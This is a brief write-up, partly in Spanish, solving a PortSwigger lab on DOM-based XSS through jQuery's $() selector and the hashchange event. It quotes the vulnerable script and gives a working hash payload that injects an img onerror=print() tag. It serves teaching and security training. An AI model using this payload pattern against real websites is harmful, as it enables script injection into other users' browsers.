← Writeups

DOM XSS in jQuery selector sink using a hashchange event

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's $() selector function to auto-scroll to a given post, whose title is passed via the location.hash property.

To solve the lab, deliver an exploit to the victim that calls the print() function in their browser.


https://siunam321.github.io/ctf/portswigger-labs/Cross-Site-Scripting/xss-6/

<script>
    $(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>
  • se utiliza $() como selector
  • location.hash : permite darle la propiedad por la cual se realizara el scroll y es controlado por el usuario
URL/#" onload="this.src+='<img src=errorpls onerror=print()>'">
  • cerramos para que tenga un valor vacio un hash con valor vacio, luego agregamos un segundo valor, el payload XSS, causan do que hashchange se ejecute